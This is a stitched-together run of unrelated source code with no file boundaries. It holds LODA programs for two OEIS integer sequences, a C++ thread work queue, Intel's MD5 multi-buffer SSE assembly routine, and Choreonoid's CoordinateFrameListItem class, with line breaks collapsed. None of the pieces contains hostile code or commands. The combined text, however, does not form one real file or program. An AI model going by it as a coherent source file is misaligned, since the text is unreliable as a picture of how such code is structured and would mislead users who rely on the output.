; A026644: a(n) = a(n-1) + 2*a(n-2) + 2, for n>=3, where a(0)= 1, a(1)= 2, a(2)= 4. ; 1,2,4,10,20,42,84,170,340,682,1364,2730,5460,10922,21844,43690,87380,174762,349524,699050,1398100,2796202,5592404,11184810,22369620,44739242,89478484,178956970,357913940,715827882,1431655764,2863311530,5726623060,11453246122,22906492244,45812984490,91625968980,183251937962,366503875924,733007751850,1466015503700,2932031007402,5864062014804,11728124029610,23456248059220,46912496118442,93824992236884,187649984473770,375299968947540,750599937895082,1501199875790164,3002399751580330,6004799503160660,12009599006321322,24019198012642644,48038396025285290,96076792050570580,192153584101141162,384307168202282324,768614336404564650,1537228672809129300,3074457345618258602,6148914691236517204,12297829382473034410,24595658764946068820,49191317529892137642,98382635059784275284,196765270119568550570,393530540239137101140,787061080478274202282,1574122160956548404564,3148244321913096809130,6296488643826193618260,12592977287652387236522,25185954575304774473044,50371909150609548946090,100743818301219097892180,201487636602438195784362,402975273204876391568724,805950546409752783137450,1611901092819505566274900,3223802185639011132549802,6447604371278022265099604,12895208742556044530199210,25790417485112089060398420,51580834970224178120796842,103161669940448356241593684,206323339880896712483187370,412646679761793424966374740,825293359523586849932749482,1650586719047173699865498964,3301173438094347399730997930,6602346876188694799461995860,13204693752377389598923991722,26409387504754779197847983444,52818775009509558395695966890,105637550019019116791391933780,211275100038038233582783867562,422550200076076467165567735124,845100400152152934331135470250 mov $1,2 pow $1,$0 mul $1,4 sub $1,5 div $1,3 add $1,1 mov $0,$1
#include "WorkQueue.h" namespace null { WorkQueue::WorkQueue(MemoryArena& arena) : arena(arena), queue_size(0), queue(nullptr), free(nullptr) {} void WorkQueue::Submit(WorkDefinition definition, void* user) { { std::lock_guard<std::mutex> lock(mutex); Work* work = free; if (!work) { work = free = memory_arena_push_type(&arena, Work); work->next = nullptr; } free = free->next; work->definition = definition; work->user = user; work->next = queue; work->valid = true; queue = work; ++queue_size; } convar.notify_one(); } void WorkQueue::Clear() { std::lock_guard<std::mutex> lock(mutex); // Push everything to freelist Work* work = queue; while (work) { Work* current = work; work = work->next; work->valid = false; current->next = free; free = current; } queue = nullptr; queue_size = 0; } void Worker::Run() { while (true) { Work* work = nullptr; { std::unique_lock<std::mutex> lock(queue.mutex); queue.convar.wait(lock, [this] { return this->queue.queue_size > 0; }); work = queue.queue; if (!work) continue; // Pop work off queue queue.queue = work->next; --queue.queue_size; } work->definition.run(work); if (work->valid) { work->definition.complete(work); } std::lock_guard<std::mutex> lock(queue.mutex); // Push work to free list work->next = queue.free; work->valid = false; queue.free = work; } } void Worker::Launch() { thread = std::thread(&Worker::Run, this); } Worker::Worker(WorkQueue& queue) : queue(queue) {} } // namespace null
; A141062: a(n) = (prime(n) - 1) mod (sum of digits of prime(n)). ; Submitted by Christian Krause ; 1,2,4,6,0,0,0,8,2,6,2,6,0,0,2,4,2,4,1,6,2,14,5,3,0,0,2,2,8,2,6,0,4,8,8,3,0,2,12,7,8,0,3,10,9,8,2,5,6,7,0,0,2,2,4,9,13,0,4,5,9,12,6,0,4,8,1,11,10,12,0,1,14,8,17,4,8,16,0,5,12,0,6,2,6,2,6,8,9,7,7,18,11,0,14,6,4,0,2 seq $0,6093 ; a(n) = prime(n) - 1. seq $0,141022 ; a(n) = n mod ((sum of digits of n)+1).
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2016 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %include "md5_job.asm" %include "md5_mb_mgr_datastruct.asm" %include "reg_sizes.asm" extern md5_mb_x4x2_sse default rel %if 1 %ifidn __OUTPUT_FORMAT__, win64 ; WINDOWS register definitions %define arg1 rcx %define arg2 rdx %else ; UN*X register definitions %define arg1 rdi %define arg2 rsi %endif ; Common definitions %define state arg1 %define job arg2 %define len2 arg2 ; idx must be a register not clobberred by md5_mb_x4x2_sse %define idx r8 %define p r9 %define unused_lanes rbx %define job_rax rax %define len rax %define lane r10 %define lane_data r11 %endif ; if 1 ; STACK_SPACE needs to be an odd multiple of 8 %define STACK_SPACE 8*8 + 16*10 + 8 ; JOB* submit_job(MB_MGR *state, JOB_MD5 *job) ; arg 1 : rcx : state ; arg 2 : rdx : job global md5_mb_mgr_submit_sse:function md5_mb_mgr_submit_sse: sub rsp, STACK_SPACE ; we need to save/restore all GPRs because lower layer clobbers them mov [rsp + 8*0], rbx mov [rsp + 8*1], rbp mov [rsp + 8*2], r12 mov [rsp + 8*3], r13 mov [rsp + 8*4], r14 mov [rsp + 8*5], r15 %ifidn __OUTPUT_FORMAT__, win64 mov [rsp + 8*6], rsi mov [rsp + 8*7], rdi movdqa [rsp + 8*8 + 16*0], xmm6 movdqa [rsp + 8*8 + 16*1], xmm7 movdqa [rsp + 8*8 + 16*2], xmm8 movdqa [rsp + 8*8 + 16*3], xmm9 movdqa [rsp + 8*8 + 16*4], xmm10 movdqa [rsp + 8*8 + 16*5], xmm11 movdqa [rsp + 8*8 + 16*6], xmm12 movdqa [rsp + 8*8 + 16*7], xmm13 movdqa [rsp + 8*8 + 16*8], xmm14 movdqa [rsp + 8*8 + 16*9], xmm15 %endif mov unused_lanes, [state + _unused_lanes] mov lane, unused_lanes and lane, 0xF shr unused_lanes, 4 imul lane_data, lane, _LANE_DATA_size mov dword [job + _status], STS_BEING_PROCESSED lea lane_data, [state + _ldata + lane_data] mov [state + _unused_lanes], unused_lanes mov DWORD(len), [job + _len] shl len, 4 or len, lane mov [lane_data + _job_in_lane], job mov [state + _lens + 4*lane], DWORD(len) ; Load digest words from result_digest movdqu xmm0, [job + _result_digest + 0*16] movd [state + _args_digest + 4*lane + 0*32], xmm0 pextrd [state + _args_digest + 4*lane + 1*32], xmm0, 1 pextrd [state + _args_digest + 4*lane + 2*32], xmm0, 2 pextrd [state + _args_digest + 4*lane + 3*32], xmm0, 3 mov p, [job + _buffer] mov [state + _args_data_ptr + 8*lane], p add dword [state + _num_lanes_inuse], 1 cmp unused_lanes, 0xF jne return_null start_loop: ; Find min length movdqa xmm0, [state + _lens + 0*16] movdqa xmm1, [state + _lens + 1*16] movdqa xmm2, xmm0 pminud xmm2, xmm1 ; xmm2 has {D,C,B,A} palignr xmm3, xmm2, 8 ; xmm3 has {x,x,D,C} pminud xmm2, xmm3 ; xmm2 has {x,x,E,F} palignr xmm3, xmm2, 4 ; xmm3 has {x,x,x,E} pminud xmm2, xmm3 ; xmm2 has min value in low dword movd DWORD(idx), xmm2 mov len2, idx and idx, 0xF shr len2, 4 jz len_is_0 pand xmm2, [rel clear_low_nibble] pshufd xmm2, xmm2, 0 psubd xmm0, xmm2 psubd xmm1, xmm2 movdqa [state + _lens + 0*16], xmm0 movdqa [state + _lens + 1*16], xmm1 ; "state" and "args" are the same address, arg1 ; len is arg2 call md5_mb_x4x2_sse ; state and idx are intact len_is_0: ; process completed job "idx" imul lane_data, idx, _LANE_DATA_size lea lane_data, [state + _ldata + lane_data] mov job_rax, [lane_data + _job_in_lane] mov unused_lanes, [state + _unused_lanes] mov qword [lane_data + _job_in_lane], 0 mov dword [job_rax + _status], STS_COMPLETED shl unused_lanes, 4 or unused_lanes, idx mov [state + _unused_lanes], unused_lanes mov dword [state + _lens + 4*idx], 0xFFFFFFFF sub dword [state + _num_lanes_inuse], 1 movd xmm0, [state + _args_digest + 4*idx + 0*32] pinsrd xmm0, [state + _args_digest + 4*idx + 1*32], 1 pinsrd xmm0, [state + _args_digest + 4*idx + 2*32], 2 pinsrd xmm0, [state + _args_digest + 4*idx + 3*32], 3 movdqa [job_rax + _result_digest + 0*16], xmm0 return: %ifidn __OUTPUT_FORMAT__, win64 movdqa xmm6, [rsp + 8*8 + 16*0] movdqa xmm7, [rsp + 8*8 + 16*1] movdqa xmm8, [rsp + 8*8 + 16*2] movdqa xmm9, [rsp + 8*8 + 16*3] movdqa xmm10, [rsp + 8*8 + 16*4] movdqa xmm11, [rsp + 8*8 + 16*5] movdqa xmm12, [rsp + 8*8 + 16*6] movdqa xmm13, [rsp + 8*8 + 16*7] movdqa xmm14, [rsp + 8*8 + 16*8] movdqa xmm15, [rsp + 8*8 + 16*9] mov rsi, [rsp + 8*6] mov rdi, [rsp + 8*7] %endif mov rbx, [rsp + 8*0] mov rbp, [rsp + 8*1] mov r12, [rsp + 8*2] mov r13, [rsp + 8*3] mov r14, [rsp + 8*4] mov r15, [rsp + 8*5] add rsp, STACK_SPACE ret return_null: xor job_rax, job_rax jmp return section .data align=16 align 16 clear_low_nibble: dq 0x00000000FFFFFFF0, 0x0000000000000000
#include "CoordinateFrameListItem.h" #include "CoordinateFrameItem.h" #include "CoordinateFrameMarker.h" #include "ItemManager.h" #include "PutPropertyFunction.h" #include "Archive.h" #include "MessageView.h" #include <cnoid/CoordinateFrameList> #include <cnoid/ConnectionSet> #include <fmt/format.h> #include <unordered_map> #include "gettext.h" using namespace std; using namespace cnoid; using fmt::format; namespace { class ListAssociationSignalInfo : public Referenced { public: Signal<void(CoordinateFrameListItem* frameListItem, bool on)> signal; ScopedConnection connection; }; typedef ref_ptr<ListAssociationSignalInfo> ListAssociationSignalInfoPtr; unordered_map<ItemPtr, ListAssociationSignalInfoPtr> listAssociationSignalInfoMap; class FrameMarker : public CoordinateFrameMarker { public: CoordinateFrameListItem::Impl* impl; weak_ref_ptr<CoordinateFrameItem> weakFrameItem; ScopedConnection frameItemConnection; bool isGlobal; bool isOn; int transientHolderCounter; FrameMarker(CoordinateFrameListItem::Impl* impl, CoordinateFrame* frame); void updateFrameItem(CoordinateFrameItem* frameItem, bool on); void updateFrameLock(); virtual void onFrameUpdated(int flags) override; }; typedef ref_ptr<FrameMarker> FrameMarkerPtr; } namespace cnoid { class CoordinateFrameListItem::Impl { public: CoordinateFrameListItem* self; CoordinateFrameListPtr frameList; int itemizationMode; ScopedConnectionSet frameListConnections; std::function<std::string(const CoordinateFrameItem* item)> frameItemDisplayNameFunction; struct AssociatedItemInfo { ListAssociationSignalInfoPtr signalInfo; bool isAssociated; }; unordered_map<weak_ref_ptr<Item>, AssociatedItemInfo> associatedItemInfoMap; bool isUpdatingFrameItems; SgGroupPtr frameMarkerGroup; SgPosTransformPtr relativeFrameMarkerGroup; unordered_map<CoordinateFramePtr, FrameMarkerPtr> visibleFrameMarkerMap; ScopedConnection parentLocationConnection; Signal<void(int index, bool on)> sigFrameMarkerVisibilityChanged; class TransientFrameMarkerHolder : public Referenced { public: weak_ref_ptr<CoordinateFrameListItem> weakFrameListItem; CoordinateFramePtr frame; TransientFrameMarkerHolder(CoordinateFrameListItem* frameListItem, CoordinateFrame* frame) : weakFrameListItem(frameListItem), frame(frame) { } ~TransientFrameMarkerHolder(){ if(auto item = weakFrameListItem.lock()){ item->impl->setFrameMarkerVisible(frame, false, true); } } }; Impl(CoordinateFrameListItem* self, CoordinateFrameList* frameList, int itemizationMode); void notifyRegisteredItemsOfListAssociation(bool doCheckDisassociation); void checkListDisassociation(bool doDisassociateAll); void setItemizationMode(int mode); void updateFrameItems(); CoordinateFrameItem* createFrameItem(CoordinateFrame* frame); CoordinateFrameItem* findFrameItemAt(int index, Item*& out_insertionPosition); CoordinateFrameItem* findFrameItemAt(int index); void onFrameAdded(int index); void onFrameRemoved(int index, CoordinateFrame* frame); bool onFrameItemAdded(CoordinateFrameItem* frameItem); void setFrameMarkerVisible(CoordinateFrame* frame, bool on, bool isTransient); void updateParentFrameForFrameMarkers(const Isometry3& T); void storeLockedFrameIndices(Archive& archive); void completeFrameItemRestoration(const Archive& archive); }; } void CoordinateFrameListItem::initializeClass(ExtensionManager* ext) { auto& im = ext->itemManager(); im.registerClass<CoordinateFrameListItem>(N_("CoordinateFrameListItem")); im.addCreationPanel<CoordinateFrameListItem>(); } SignalProxy<void(CoordinateFrameListItem* frameListItem, bool on)> CoordinateFrameListItem::sigListAssociationWith(Item* item) { auto& info = listAssociationSignalInfoMap[item]; if(!info){ info = new ListAssociationSignalInfo; info->connection = item->sigDisconnectedFromRoot().connect( [item](){ listAssociationSignalInfoMap.erase(item); }); } return info->signal; } CoordinateFrameListItem::CoordinateFrameListItem() { impl = new Impl(this, new CoordinateFrameList, NoItemization); } CoordinateFrameListItem::CoordinateFrameListItem(CoordinateFrameList* frameList) { impl = new Impl(this, frameList, NoItemization); } CoordinateFrameListItem::CoordinateFrameListItem(const CoordinateFrameListItem& org) : Item(org) { auto frameList = new CoordinateFrameList(*org.impl->frameList); impl = new Impl(this, frameList, org.impl->itemizationMode); } CoordinateFrameListItem::Impl::Impl (CoordinateFrameListItem* self, CoordinateFrameList* frameList, int itemizationMode) : self(self), frameList(frameList), itemizationMode(itemizationMode) { frameList->setFirstElementAsDefaultFrame(); isUpdatingFrameItems = false; frameMarkerGroup = new SgGroup; relativeFrameMarkerGroup = new SgPosTransform; frameMarkerGroup->addChild(relativeFrameMarkerGroup); } CoordinateFrameListItem::~CoordinateFrameListItem() { delete impl; } Item* CoordinateFrameListItem::doDuplicate() const { return new CoordinateFrameListItem(*this); } void CoordinateFrameListItem::onTreePositionChanged() { impl->notifyRegisteredItemsOfListAssociation(true); } void CoordinateFrameListItem::onDisconnectedFromRoot() { impl->checkListDisassociation(true); } void CoordinateFrameListItem::Impl::notifyRegisteredItemsOfListAssociation(bool doCheckDisassociation) { if(doCheckDisassociation){ // Clear flags to check if each item is still associated for(auto& kv : associatedItemInfoMap){ kv.second.isAssociated = false; } } if(Item* item = self->parentItem()){ do { auto p = listAssociationSignalInfoMap.find(item); if(p != listAssociationSignalInfoMap.end()){ weak_ref_ptr<Item> witem = item; auto& itemInfo = associatedItemInfoMap[witem]; if(!itemInfo.signalInfo){ auto& signalInfo = p->second; signalInfo->signal(self, true); // notify item of association itemInfo.signalInfo = signalInfo; } itemInfo.isAssociated = true; } item = item->parentItem(); } while(item); } if(doCheckDisassociation){ checkListDisassociation(false); } } void CoordinateFrameListItem::Impl::checkListDisassociation(bool doDisassociateAll) { auto iter = associatedItemInfoMap.begin(); while(iter != associatedItemInfoMap.end()){ bool doRemove = false; auto item = iter->first.lock(); if(!item){ doRemove = true; } else { auto& itemInfo = iter->second; if(doDisassociateAll || !itemInfo.isAssociated){ itemInfo.signalInfo->signal(self, false); // notify item of disassociation doRemove = true; } } if(doRemove){ iter = associatedItemInfoMap.erase(iter); } else { ++iter; } } } int CoordinateFrameListItem::itemizationMode() const { return impl->itemizationMode; } bool CoordinateFrameListItem::isNoItemizationMode() const { return impl->itemizationMode == NoItemization; } void CoordinateFrameListItem::setItemizationMode(int mode) { impl->setItemizationMode(mode); } void CoordinateFrameListItem::Impl::setItemizationMode(int mode) { if(mode != itemizationMode){ itemizationMode = mode; frameListConnections.disconnect(); if(mode != NoItemization){ frameListConnections.add( frameList->sigFrameAdded().connect( [&](int index){ onFrameAdded(index); })); frameListConnections.add( frameList->sigFrameRemoved().connect( [&](int index, CoordinateFrame* frame){ onFrameRemoved(index, frame); })); } updateFrameItems(); } } void CoordinateFrameListItem::customizeFrameItemDisplayName (std::function<std::string(const CoordinateFrameItem* frame)> func) { impl->frameItemDisplayNameFunction = func; for(auto& frameItem : descendantItems<CoordinateFrameItem>()){ frameItem->notifyNameChange(); } } std::string CoordinateFrameListItem::getFrameItemDisplayName(const CoordinateFrameItem* item) const { if(impl->frameItemDisplayNameFunction){ return impl->frameItemDisplayNameFunction(item); } return item->name(); } void CoordinateFrameListItem::updateFrameItems() { impl->updateFrameItems(); } void CoordinateFrameListItem::Impl::updateFrameItems() { isUpdatingFrameItems = true; // clear existing frame items for(auto& item : self->childItems<CoordinateFrameItem>()){ item->removeFromParentItem(); } if(itemizationMode != NoItemization){ const int numFrames = frameList->numFrames(); for(int i=0; i < numFrames; ++i){ self->addChildItem(createFrameItem(frameList->frameAt(i))); } } isUpdatingFrameItems = false; } CoordinateFrameItem* CoordinateFrameListItem::Impl::createFrameItem(CoordinateFrame* frame) { CoordinateFrameItem* item = new CoordinateFrameItem(frame); if(itemizationMode == SubItemization || frameList->isDefaultFrameId(frame->id())){ item->setAttribute(Item::SubItem); } else if(itemizationMode == IndependentItemization){ item->setAttribute(Item::Attached); } return item; } CoordinateFrameItem* CoordinateFrameListItem::Impl::findFrameItemAt (int index, Item*& out_insertionPosition) { CoordinateFrameItem* frameItem = nullptr; int childIndex = 0; Item* childItem = self->childItem(); while(childItem){ frameItem = dynamic_cast<CoordinateFrameItem*>(childItem); if(frameItem){ if(childIndex == index){ break; } ++childIndex; } childItem = childItem->nextItem(); } out_insertionPosition = childItem; return frameItem; } CoordinateFrameItem* CoordinateFrameListItem::Impl::findFrameItemAt(int index) { Item* position; return findFrameItemAt(index, position); } CoordinateFrameItem* CoordinateFrameListItem::findFrameItemAt(int index) { return impl->findFrameItemAt(index); } void CoordinateFrameListItem::Impl::onFrameAdded(int index) { auto frame = frameList->frameAt(index); auto item = createFrameItem(frame); Item* position; findFrameItemAt(index, position); isUpdatingFrameItems = true; self->insertChild(position, item); isUpdatingFrameItems = false; } void CoordinateFrameListItem::Impl::onFrameRemoved(int index, CoordinateFrame* frame) { if(auto frameItem = findFrameItemAt(index)){ isUpdatingFrameItems = true; frameItem->removeFromParentItem(); setFrameMarkerVisible(frame, false, false); isUpdatingFrameItems = false; } } bool CoordinateFrameListItem::onChildItemAboutToBeAdded(Item* childItem, bool isManualOperation) { if(impl->isUpdatingFrameItems){ return true; } if(isNoItemizationMode()){ return false; } if(auto frameItem = dynamic_cast<CoordinateFrameItem*>(childItem)){ // check the existing frame with the same id auto frame = frameItem->frame(); if(!impl->frameList->findFrame(frame->id())){ return true; } else if(isManualOperation){ showWarningDialog( format(_("\"{0}\" cannot be added to \"{1}\" because " "the item of ID {2} already exists in it. "), getFrameItemDisplayName(frameItem), displayName(), frame->id().label())); } } return false; } bool CoordinateFrameListItem::onFrameItemAdded(CoordinateFrameItem* frameItem) { return impl->onFrameItemAdded(frameItem); } bool CoordinateFrameListItem::Impl::onFrameItemAdded(CoordinateFrameItem* frameItem) { if(isUpdatingFrameItems || self->isNoItemizationMode()){ return true; } bool result = false; frameListConnections.block(); auto frame = frameItem->frame(); if(!frameItem->nextItem()){ result = frameList->append(frame); } else { int index = 0; Item* item = self->childItem(); while(item){ if(item == frameItem){ break; } item = item->nextItem(); ++index; } if(item){ result = frameList->insert(index, frame); } } frameListConnections.unblock(); return result; } void CoordinateFrameListItem::onFrameItemRemoved(CoordinateFrameItem* frameItem) { if(!impl->isUpdatingFrameItems){ if(!isNoItemizationMode()){ impl->frameListConnections.block(); impl->frameList->remove(frameItem->frame()); impl->frameListConnections.unblock(); } } } CoordinateFrameItem* CoordinateFrameListItem::findFrameItem(const GeneralId& id) { for(auto item = childItem(); item; item = item->nextItem()){ if(auto frameItem = dynamic_cast<CoordinateFrameItem*>(item)){ if(frameItem->frame()->id() == id){ return frameItem; } } } return nullptr; } CoordinateFrameList* CoordinateFrameListItem::frameList() { return impl->frameList; } const CoordinateFrameList* CoordinateFrameListItem::frameList() const { return impl->frameList; } void CoordinateFrameListItem::useAsBaseFrames() { if(!impl->frameList->isForBaseFrames()){ impl->frameList->setFrameType(CoordinateFrameList::Base); impl->notifyRegisteredItemsOfListAssociation(false); } } void CoordinateFrameListItem::useAsOffsetFrames() { if(!impl->frameList->isForOffsetFrames()){ impl->frameList->setFrameType(CoordinateFrameList::Offset); impl->notifyRegisteredItemsOfListAssociation(false); } } bool CoordinateFrameListItem::isForBaseFrames() const { return impl->frameList->isForBaseFrames(); } bool CoordinateFrameListItem::isForOffsetFrames() const { return impl->frameList->isForOffsetFrames(); } LocationProxyPtr CoordinateFrameListItem::getFrameParentLocationProxy() { if(isForBaseFrames()){ if(auto locatableItem = findOwnerItem<LocatableItem>()){ return locatableItem->getLocationProxy(); } } return nullptr; } bool CoordinateFrameListItem::getRelativeFramePosition(const CoordinateFrame* frame, Isometry3& out_T) const { if(frame->isGlobal()){ if(auto parentLocation = const_cast<CoordinateFrameListItem*>(this)->getFrameParentLocationProxy()){ auto T_base = parentLocation->getLocation(); out_T = T_base.inverse(Eigen::Isometry) * frame->T(); return true; } return false; } out_T = frame->T(); return true; } bool CoordinateFrameListItem::getGlobalFramePosition(const CoordinateFrame* frame, Isometry3& out_T) const { if(!frame->isGlobal()){ if(auto parentLocation = const_cast<CoordinateFrameListItem*>(this)->getFrameParentLocationProxy()){ auto T_base = parentLocation->getLocation(); out_T = T_base * frame->T(); return true; } return false; } out_T = frame->T(); return true; } bool CoordinateFrameListItem::switchFrameMode(CoordinateFrame* frame, int mode) { if(frame->mode() == mode){ return true; } auto parentLocation = getFrameParentLocationProxy(); if(!parentLocation){ return false; } auto T_base = parentLocation->getLocation(); if(mode == CoordinateFrame::Global){ frame->setPosition(T_base * frame->T()); } else { // Local frame->setPosition(T_base.inverse(Eigen::Isometry) * frame->T()); } frame->setMode(mode); return true; } SgNode* CoordinateFrameListItem::getScene() { return impl->frameMarkerGroup; } void CoordinateFrameListItem::setFrameMarkerVisible(const CoordinateFrame* frame, bool on) { impl->setFrameMarkerVisible(const_cast<CoordinateFrame*>(frame), on, false); } void CoordinateFrameListItem::Impl::setFrameMarkerVisible(CoordinateFrame* frame, bool on, bool isTransient) { bool changed = false; bool relativeMarkerChanged = false; FrameMarker* marker = nullptr; SgTmpUpdate update; auto p = visibleFrameMarkerMap.find(frame); if(p != visibleFrameMarkerMap.end()){ marker = p->second; if(!isTransient && (on != marker->isOn)){ changed = true; } } else if(on){ marker = new FrameMarker(this, frame); visibleFrameMarkerMap[frame] = marker; if(marker->isGlobal){ frameMarkerGroup->addChild(marker, update); } else { relativeFrameMarkerGroup->addChild(marker, update); relativeMarkerChanged = true; } changed = true; } if(on){ if(!isTransient){ marker->isOn = true; } else { marker->transientHolderCounter += 1; } } else if(marker){ if(!isTransient){ marker->isOn = false; } else { marker->transientHolderCounter -= 1; } if(!marker->isOn && marker->transientHolderCounter <= 0){ if(marker->isGlobal){ frameMarkerGroup->removeChild(marker, update); } else { relativeFrameMarkerGroup->removeChild(marker, update); relativeMarkerChanged = true; } visibleFrameMarkerMap.erase(p); changed = true; } } if(changed){ int numRelativeMarkers = relativeFrameMarkerGroup->numChildren(); if(relativeMarkerChanged){ if(parentLocationConnection.connected()){ if(relativeFrameMarkerGroup->empty()){ parentLocationConnection.disconnect(); } } else { if(!relativeFrameMarkerGroup->empty()){ if(auto location = self->getFrameParentLocationProxy()){ parentLocationConnection = location->sigLocationChanged().connect( [this, location](){ updateParentFrameForFrameMarkers(location->getLocation()); }); updateParentFrameForFrameMarkers(location->getLocation()); } } } } if(on){ self->setChecked(true); } else { if(numRelativeMarkers == 0 && frameMarkerGroup->numChildren() <= 1){ self->setChecked(false); } } int frameIndex = frameList->indexOf(frame); CoordinateFrameItem* frameItem = nullptr; if(itemizationMode != NoItemization){ frameItem = findFrameItemAt(frameIndex); } if(!isTransient){ if(sigFrameMarkerVisibilityChanged.hasConnections()){ sigFrameMarkerVisibilityChanged(frameIndex, on); } if(itemizationMode != NoItemization){ if(frameItem){ frameItem->setVisibilityCheck(on); } } } marker->updateFrameItem(frameItem, on); } } ReferencedPtr CoordinateFrameListItem::transientFrameMarkerHolder(const CoordinateFrame* frame) { auto frame_ = const_cast<CoordinateFrame*>(frame); impl->setFrameMarkerVisible(frame_, true, true); return new Impl::TransientFrameMarkerHolder(this, frame_); } bool CoordinateFrameListItem::isFrameMarkerVisible(const CoordinateFrame* frame) const { auto p = impl->visibleFrameMarkerMap.find(const_cast<CoordinateFrame*>(frame)); if(p != impl->visibleFrameMarkerMap.end()){ auto& marker = p->second; return marker->isOn; } return false; } SignalProxy<void(int index, bool on)> CoordinateFrameListItem::sigFrameMarkerVisibilityChanged() { return impl->sigFrameMarkerVisibilityChanged; } void CoordinateFrameListItem::Impl::updateParentFrameForFrameMarkers(const Isometry3& T) { relativeFrameMarkerGroup->setPosition(T); relativeFrameMarkerGroup->notifyUpdate(); } namespace { FrameMarker::FrameMarker(CoordinateFrameListItem::Impl* impl, CoordinateFrame* frame) : CoordinateFrameMarker(frame), impl(impl) { isGlobal = frame->isGlobal(); isOn = false; transientHolderCounter = 0; } void FrameMarker::updateFrameItem(CoordinateFrameItem* frameItem, bool on) { bool updated = false; if(weakFrameItem){ if(weakFrameItem.lock() != frameItem){ updated = true; } } else if(frameItem){ updated = true; } if(updated){ frameItemConnection.disconnect(); if(frameItem && on){ frameItemConnection = frameItem->sigUpdated().connect( [&](){ updateFrameLock(); }); } weakFrameItem = frameItem; updateFrameLock(); } } void FrameMarker::updateFrameLock() { bool updated = false; if(weakFrameItem){ if(auto item = weakFrameItem.lock()){ setDragEnabled(item->isLocationEditable()); updated = true; } } if(!updated){ setDragEnabled(true); } } void FrameMarker::onFrameUpdated(int flags) { if(flags & CoordinateFrame::ModeUpdate){ bool isCurrentGlobal = frame()->isGlobal(); if(isCurrentGlobal != isGlobal){ FrameMarkerPtr holder = this; SgTmpUpdate update; if(isCurrentGlobal){ impl->relativeFrameMarkerGroup->removeChild(this, update); if(isOn){ impl->frameMarkerGroup->addChild(this, update); } } else { impl->frameMarkerGroup->removeChild(this, update); if(isOn){ impl->relativeFrameMarkerGroup->addChild(this, update); } } isGlobal = isCurrentGlobal; } } CoordinateFrameMarker::onFrameUpdated(flags); } } void CoordinateFrameListItem::doPutProperties(PutPropertyFunction& putProperty) { putProperty(_("Num coordinate frames"), impl->frameList->numFrames()); } bool CoordinateFrameListItem::store(Archive& archive) { impl->frameList->writeHeader(archive); if(impl->itemizationMode == IndependentItemization){ archive.write("itemization", "independent"); } else { if(impl->itemizationMode == SubItemization){ archive.write("itemization", "sub"); impl->storeLockedFrameIndices(archive); } impl->frameList->writeFrames(archive); } return true; } /** \note The index 0 is usually the default frame, but the information on the default frame is not stored in the archive. This means the index of the first frame stored in the archive is 1, which is a bit confusing. */ void CoordinateFrameListItem::Impl::storeLockedFrameIndices(Archive& archive) { ListingPtr indices = new Listing; int n = frameList->numFrames(); int index = frameList->hasFirstElementAsDefaultFrame() ? 1 : 0; while(index < n){ if(auto frameItem = self->findFrameItemAt(index)){ if(!frameItem->isLocationEditable()){ indices->append(index); } } ++index; } if(!indices->empty()){ indices->setFlowStyle(); archive.insert("locked_frame_indices", indices); } } bool CoordinateFrameListItem::restore(const Archive& archive) { string mode; if(archive.read("itemization", mode)){ if(mode == "sub"){ setItemizationMode(SubItemization); } else if(mode == "independent"){ setItemizationMode(IndependentItemization); } } impl->frameList->resetIdCounter(); bool result = impl->frameList->read(archive); if(result){ if(impl->itemizationMode != NoItemization){ archive.addProcessOnSubTreeRestored( [&](){ impl->completeFrameItemRestoration(archive); }); } } return result; } void CoordinateFrameListItem::Impl::completeFrameItemRestoration(const Archive& archive) { if(frameList->hasFirstElementAsDefaultFrame()){ auto firstFrameItem = findFrameItemAt(0); if(!firstFrameItem || !frameList->isDefaultFrameId(firstFrameItem->frame()->id())){ self->insertChild(self->childItem(), createFrameItem(frameList->frameAt(0))); } } if(itemizationMode == SubItemization){ auto& locked = *archive.findListing("locked_frame_indices"); if(locked.isValid()){ for(int i=0; i < locked.size(); ++i){ int index = locked[i].toInt(); if(auto frameItem = self->findFrameItemAt(index)){ frameItem->setLocationEditable(false); } } } } }
